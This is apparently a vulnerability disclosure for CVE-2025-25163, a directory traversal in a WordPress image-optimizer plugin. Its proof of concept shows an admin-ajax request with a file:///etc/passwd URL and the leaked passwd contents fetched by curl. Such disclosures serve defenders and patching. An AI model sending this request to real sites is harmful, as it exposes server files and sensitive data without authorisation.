CVE-2025-25163 Plugin A/B Image Optimizer <= 3.3 - Authenticated (Subscriber+) Arbitrary File Download # Description The Plugin A/B Image Optimizer plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information. ## Details - **Type**: plugin - **Slug**: images-optimizer - **Affected Version**: 3.3 - **CVSS Score**: 6.5 - **CVSS Rating**: Medium - **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - **CVE**: CVE-2025-25163 - **Status**: Closed POC --- ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Host: kubernetes.docker.internal:8929 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1739543461; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_f0174336378e6db874da2237e8c05ac1=superadmin%7C1740046038%7C1N8xr9D0vHFOPOWEa8SZgQgnMrADwNBlBuy2clxo5pS%7C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e29284fe; tk_ai=woo%3AHJ877y%2BjNWutqlxgSuyOlVs2; woocommerce_items_in_cart=1; woocommerce_cart_hash=00dd4812a167442476e6e7ea663fc03e; wp_woocommerce_session_f0174336378e6db874da2237e8c05ac1=1%7C%7C1740046039%7C%7C1740042439%7C%7C81057c84ecef3df59f0857082ef7c538 Priority: u=4 Content-Type: application/x-www-form-urlencoded Content-Length: 56 action=ab_save_image_locally&imageUrl=file:///etc/passwd ``` ``` {"id":5006,"url":"http:\/\/kubernetes.docker.internal:8929\/wp-content\/uploads\/2025\/02\/1739874247.gif"} ``` ``` $ curl http://kubernetes.docker.internal:8929/wp-content/uploads/2025/02/1739874247.gif root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ```